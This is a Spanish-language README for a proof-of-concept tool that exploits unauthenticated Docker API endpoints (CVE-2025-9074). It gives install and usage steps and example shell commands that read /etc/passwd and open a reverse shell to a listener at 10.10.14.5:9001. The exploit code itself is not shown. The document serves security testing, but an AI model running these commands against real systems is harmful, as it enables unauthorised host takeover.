CVE-2025-9074 | Docker API CVE-2025-9074 PoC (Proof-Of-Concept)

Un framework de explotación sofisticado para CVE-2025-9074, dirigido a endpoints de la API de Docker no autenticados con un shell de comandos interactivo integrado.

Resumen

Esta herramienta automatiza la explotación de instancias de Docker expuestas sin autenticación, permitiendo la creación completa de contenedores y la ejecución de comandos en el host objetivo. La herramienta incluye un shell interactivo personalizado para operaciones posteriores a la explotación.

Nota: Esta es una implementación PoC personalizada. No descubrí CVE-2025-9074.

Demostración

Explotación Inicial

Detección automatizada de vulnerabilidades, descarga de imágenes, creación e inicialización de contenedores

Ejecución Interactiva de Comandos

Shell posterior a la explotación con capacidades de ejecución de comandos

Capacidades Clave

• Escaneo automatizado de vulnerabilidades en la API de Docker
• Despliegue de contenedores con montaje del sistema de archivos del host
• Shell interactivo posterior a la explotación
• Interfaz de ejecución remota de comandos
• Módulo de despliegue de reverse shell
• Salida de terminal coloreada para mejor visibilidad

Instalación

1. Clonar el repositorio

git clone https://github.com/xwpdx0/poc-2025-9074

2. Compilar el código

gcc poc.c -o poc-2025-9074

o puedes descargar el binario desde Releases

Uso

./poc-2025-9074

Objetivo por Defecto

Ejecutar contra el objetivo por defecto (127.0.0.1:2375):

./poc-2025-9074

Objetivo Personalizado

Especificar un endpoint personalizado de la API de Docker:

Shell Interactivo

Tras una explotación exitosa, un shell interactivo proporciona los siguientes comandos:

Comando	Descripción
cmd <comando>	Ejecutar comandos arbitrarios dentro del contenedor
revshell <ip> <puerto>	Desplegar un reverse shell hacia el listener especificado
info	Mostrar información actual del contenedor y del objetivo
exit	Finalizar la sesión interactiva

Ejemplos de Uso

(PoC-CVE-2025-9074)> cmd whoami
(PoC-CVE-2025-9074)> cmd cat /etc/passwd
(PoC-CVE-2025-9074)> cmd ls -la /mnt
(PoC-CVE-2025-9074)> revshell 10.10.14.5 9001
(PoC-CVE-2025-9074)> info

Detalles de la Vulnerabilidad

CVE-2025-9074 afecta a instancias de Docker con endpoints de API expuestos que carecen de mecanismos de autenticación adecuados. Esta mala configuración permite el acceso no autorizado al daemon de Docker, habilitando:

• Creación arbitraria de contenedores
• Acceso al sistema de archivos del host mediante montajes bind
• Oportunidades de escalada de privilegios
• Ejecución remota de código

Aviso Legal

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

• Úsela solo en sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas
• El acceso no autorizado a sistemas informáticos es ilegal y está castigado por la ley
• El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta
• Los usuarios son los únicos responsables del cumplimiento de las leyes y regulaciones aplicables

Autor

xwpd (@xwpdx0)

Licencia

Licencia MIT - Consulte el archivo LICENSE para más detalles

---

Solo para fines de divulgación responsable e investigación de seguridad.